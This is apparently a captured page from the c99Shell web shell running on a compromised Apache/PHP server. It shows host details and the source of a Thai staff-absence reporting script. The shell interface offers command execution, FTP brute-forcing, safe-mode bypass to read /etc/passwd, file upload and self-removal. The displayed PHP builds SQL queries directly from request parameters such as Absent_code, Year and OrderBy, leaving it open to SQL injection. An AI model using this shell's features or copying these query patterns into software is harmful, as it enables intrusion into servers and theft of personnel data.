!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExcelcountAbsent.php (7.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

	session_start();
	
	/**  Define Validate Access  */
	define( '_VALID_ACCESS', 1 );

	/**  Check Session User Login  */
	if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
		echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
		echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
		echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
		exit();
	} 
	else {
		/**  Configuration  */
		 header('Content-type: application/xls');
         header('Content-Disposition: attachment; filename="ReportCountAbsent.xls"');
		require_once( "../configuration.php" );
		require_once( $_Config_absolute_path . "/includes/framework.php" );
		require_once( "../include/Function.php" );
		
		
		/**  Create Database Object  */
		$dbObj = new DBConn;

	
		/**  Config Table for This Page  */
		$myTable = "personal_tb";
		$myTable1 = "history_absent_tb ";
		$myTableFK = "Teacher_id";
		$myOrderBy = "Teacher_id,Teacher_name";
		
		/**  Parameters  */
		$params = "$Year";
		
		
		/**  Paging */
		$page = $_GET['page'];
		if( $page == "" ) { $page = 1; }
			
		/**  จำนวนข้อมูล ต่อ 1 หน้า  */
		$perpage = $_REQUEST['perpage'];
		if( $perpage == "" ) { $perpage = 1200; }
		
		
	} # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<title>รายงานการลา</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">

<table width="765" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="765" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
      <?php
	    $abname = "SELECT * FROM history_absent  WHERE Absent_code = '". $_GET['Absent_code'] ."' ";
		$queryname = mysql_query($abname);
		$fetch = mysql_fetch_array($queryname);
	  
		/**  Config Paging  */
		if( $perpage == "" ) { $limit = $_Config_limit; }
		else { $limit = $perpage; }
		
		$scroll = $_Config_scroll; 
		
		/**  ตั้งค่า Default สำหรับการทำ Order By  */
		if( $OrderBy == "" ) { $OrderBy = $myOrderBy; }
						
		if( !isset($_GET['ASCDESC']) ) { $ASCDESC = "ASC"; }
						
		if( $_GET['ASCDESC'] == "ASC" ) { $ASCDESC = "DESC"; } 
		elseif( $_GET['ASCDESC'] == "DESC" ) { $ASCDESC = "ASC"; }
		
		/**  Query เพื่อหา Numrows ก่อน  */
		if( $keyword != "" ) { 
			$query = " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE  StatusId='1'  AND  
							   ( First_name LIKE '%$keyword%' OR Teacher_name LIKE '%$keyword%' OR Teacher_lastname LIKE '%$keyword%' ) ";
		}
		else {
			$query = " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE  StatusId='1'  ";
		}
		
		$result = $dbObj->execQuery($query);
		$numrows = $dbObj->_numrows;
		
		/**  Paging  */
		$display = ( !isset ($_GET['page']) ) ? 1 : $_GET['page'];
		$start = ( ($display * $limit) - $limit );
		/**  Paging  */
		
		//###  Search
		if( $keyword != "" ) { 
			if( isset($_GET['OrderBy']) ) {
				$query = " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE  StatusId='1'  AND  
								   ( First_name LIKE '%$keyword%' OR Teacher_name LIKE '%$keyword%' OR Teacher_lastname LIKE '%$keyword%' ) 
								   ORDER BY $OrderBy $ASCDESC ";
			} 
			elseif( !isset($_GET['OrderBy']) ) {
				$query = " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE  StatusId='1'  AND  
								   ( First_name LIKE '%$keyword%' OR Teacher_name LIKE '%$keyword%' OR Teacher_lastname LIKE '%$keyword%' ) 
								   ORDER BY $myTableFK ASC ";
			}
		}
		else {
			if( isset($_GET['OrderBy']) ) {
				$query = " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE   StatusId='1'  ORDER BY $OrderBy $ASCDESC ";
			} 
			elseif( !isset($_GET['OrderBy']) ) {
				$query = " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE  StatusId='1'   ORDER BY $myTableFK ASC ";
			}
		}
		
		$query .= " LIMIT $start, $limit ";
		$result = $dbObj->execQuery($query);
    ?>
      <?php 
           $no = 1+($display-1)*$limit;				
				$sql2 = " SELECT prefix.prefixName AS  prefixName, personal.Teacher_name AS Teacher_name, personal.Teacher_lastname AS Teacher_lastname , position.Position_name AS Position_name , SUM( history.Absent_times ) AS Absent 
								FROM history_absent_tb AS history LEFT JOIN personal_tb AS personal ON history.Teacher_code = personal.Teacher_code
								LEFT JOIN position_tb AS position ON personal.PositionId = position.PositionId
								LEFT JOIN prefix on prefix.prefixId=personal.First_name
								WHERE history.Absent_code ='". $_GET['Absent_code'] ."'  AND YEAR ='". $_GET['Year'] ."' GROUP BY history.Teacher_code, history.Absent_code ORDER BY Absent DESC LIMIT 20" ;		
				$objQuery = mysql_query($sql2);
          ?>
        <table width="756" border="0" align="center" cellpadding="0" cellspacing="0">
          <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?Year=<?= $Year1; ?>&Absent_code=<?= $Type;?>">
            <tr>
              <td width="756" height="5"></td>
            </tr>
            <tr>
              <td height="114" align="center" valign="top">
                <table width="645" border="1" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">
                <tr bgcolor="#F8F8F8">
      <td height="47" colspan="4" align="center"><strong>ข้อมูลบุคลากรที่มีจำนวนวันลาสูงสุด จำแนกตามวัน<? echo "$fetch[Absent_type]"; ?></strong></td>
      </tr>
      	  <tr bgcolor="#F8F8F8">
      <td width="43" height="38" align="center">No</td>
      <td width="259" align="center" class="BORDER-LEFT-RIGHT">ชื่อ-นามสกุล</td>
      <td width="235" align="center" class="BORDER-RIGHT">ตำแหน่งราชการ</a></td>
      <td width="108" align="center" class="BORDER-RIGHT-LEFT">รวมวัน<? echo "$fetch[Absent_type]"; ?></td>
      </tr>
 <?     $row = 0;  
  			while($row = mysql_fetch_array($objQuery))
            { ?>
            <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
              <td height="23" align="center" class="BORDER-TOP"><?=$no;?></td>
               <td align="left" class="PADDING-LEFT-3 BORDER-TOP-LEFT-RIGHT"><? echo "$row[prefixName]"; ?><? echo "$row[Teacher_name]"; ?>&nbsp;&nbsp;<? echo "$row[Teacher_lastname]"; ?></td>
              <td align="left" class="PADDING-LEFT-3 BORDER-TOP-RIGHT"><? echo "$row[Position_name]"; ?></td>
              <td align="center" class="BORDER-TOP-RIGHT"><? echo "$row[Absent]"; ?></td>
              </tr>
              <?php 
               $no++;
           }  $row++ ?>
              
          </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
          </tr></form>
        </table>
    </td>
  </tr>
</table>
</body>
</html>
<?php
	/**  Free Resource */
	$dbObj->freeresult($result);
	
	/**  Close the Database  */
	$dbObj->disconn();
	
	/**  Unset Class  */
	unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.131 ]--